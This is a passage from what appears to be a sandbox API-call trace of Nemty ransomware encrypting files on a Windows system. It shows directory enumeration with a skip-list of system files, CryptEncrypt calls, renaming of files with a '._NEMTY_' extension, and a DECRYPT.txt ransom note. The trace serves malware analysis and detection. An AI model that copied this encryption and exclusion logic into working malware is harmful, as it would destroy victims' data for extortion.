lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.275] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.275] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.275] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653e824*=0x0, lpOverlapped=0x0) returned 0 [0143.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106059876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106162276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0143.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402a8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0) returned 0 [0143.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0143.296] CloseHandle (hObject=0xffffffff) returned 0 [0143.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340418 [0143.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0143.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0143.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0143.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0143.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0143.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0143.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0143.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\settings.css._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css\\settings.css._nemty_kgobjgd_")) returned 0 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.297] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d89bd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0143.297] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0143.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.297] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340200 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340158 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.298] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d89bd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x8d89bd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x8d89bd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0143.298] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340200 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0143.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0143.298] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x86a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="flyout.html", cAlternateFileName="")) returned 1 [0143.298] lstrcmpiW (lpString1="flyout.html", lpString2=".") returned 1 [0143.298] lstrcmpiW (lpString1="flyout.html", lpString2="..") returned 1 [0143.298] lstrcmpiW (lpString1="flyout.html", lpString2="...") returned 1 [0143.298] lstrcmpiW (lpString1="flyout.html", lpString2="windows") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="$RECYCLE.BIN") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="rsa") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="NTDETECT.COM") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="ntldr") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="MSDOS.SYS") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="IO.SYS") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="boot.ini") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="boot.ini") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="AUTOEXEC.BAT") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="ntuser.dat") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="desktop.ini") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="CONFIG.SYS") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="RECYCLER") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="BOOTSECT.BAK") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="bootmgr") returned 1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="programdata") returned -1 [0143.299] lstrcmpiW (lpString1="flyout.html", lpString2="appdata") returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0143.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0143.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0143.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0143.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="flyout.html", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flyout.html", lpUsedDefaultChar=0x0) returned 11 [0143.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0143.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340158 [0143.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0143.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340200 [0143.300] Sleep (dwMilliseconds=0x5) [0143.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x911bcd0, dwHighDateTime=0x1d561e8)) [0143.315] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x911bcd0, dwHighDateTime=0x1d561e8)) [0143.315] GetLastError () returned 0x12 [0143.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0143.315] GetLastError () returned 0x12 [0143.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0143.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0143.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0143.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0143.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0143.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0143.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a8 [0143.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a8, pcchString=0x653e91c | out: pszString="G7ieddvUX488UsRt9vvgPEPvoozVbWn5WThxWybwC4BMaMyZXH5khiy2kcv+zjnR\r\nzvtpjbhEtf9AxnnT6qv5ppRGPcnuX1ELILTHbl5XjcYgWsqi0+QFROagN9DLLM75\r\nAwkbLf5b7yTlPEwqVGh61/2McufyH+IW1QlCJ1MM4wr6o+cSejZq87JaVCjrhX2j\r\negO8DdyRceOvrtsCtz9rRbQg4Gv/3tH12XfiHmPiCU5gpsxdLNz8yeK5IeW6iDIU\r\nF2uP0uSC1YQYaDxtj6V3s0i4l9HrL4B80qXdyUq1ySuLhL0MpI0yY466OZGtSOp1\r\n3tb4ToNQFd+UivDQnbFhRw==\r\n", pcchString=0x653e91c) returned 1 [0143.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0143.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0143.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0143.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0143.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a8 [0143.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0143.316] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\flyout.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\flyout.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.316] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0143.316] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0143.316] SetFilePointer (in: 